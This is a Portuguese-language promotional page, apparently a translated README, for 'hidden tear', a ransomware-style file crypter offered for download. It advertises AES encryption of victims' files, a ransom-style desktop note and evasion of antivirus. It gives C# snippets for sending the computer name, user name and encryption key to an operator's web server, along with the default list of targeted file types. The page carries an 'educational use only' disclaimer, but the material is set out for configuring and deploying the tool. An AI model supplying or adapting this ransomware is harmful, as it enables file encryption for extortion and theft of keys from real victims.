É um exemplo de crypter de arquivo semelhante ao ransomware que pode ser modificado para propósitos específicos.

Características

  • Usa o algoritmo AES para criptografar arquivos.
  • Envia a chave de criptografia para um servidor.
  • Arquivos criptografados podem ser descriptografados no programa decrypter com chave de criptografia.
  • Cria um arquivo de texto na área de trabalho com uma determinada mensagem.
  • Tamanho pequeno do arquivo (12 KB)
  • Não detectado para programas antivírus (15/08/2015) http://nodistribute.com/result/6a4jDwi83Fzt

Vídeo de Demonstração


Uso

  • Você precisa ter um servidor web que suporte linguagens de script como php, python etc. Altere esta linha com seu URL. (É melhor você usar a conexão Https para evitar a espionagem)
    string targetURL = "https://www.example.com/hidden-tear/write.php?info=";
  • O script deve gravar o parâmetro GET em um arquivo de texto. Processo de envio em execução na SendPassword()função
    string info = computerName + "-" + userName + " " + password; var fullUrl = targetURL + info; var conent = new System.Net.WebClient().DownloadString(fullUrl);
  • As extensões de arquivo de destino podem ser alteradas. Lista padrão:
var validExtensions = new[]{".txt", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".odt", ".jpg", ".png", ".csv", ".sql", ".mdb", ".sln", ".php", ".asp", ".aspx", ".html", ".xml", ".psd"};

Aviso Legal

Embora isso possa ser útil para alguns, existem riscos significativos. A lágrima oculta pode ser usada apenas para fins educacionais. Não o use como um ransomware! Você poderia ir para a prisão por obstrução de acusações de justiça apenas por correr lágrimas ocultas, mesmo que você seja inocente.

[sociallocker id=”1005″]

Download

[/sociallocker]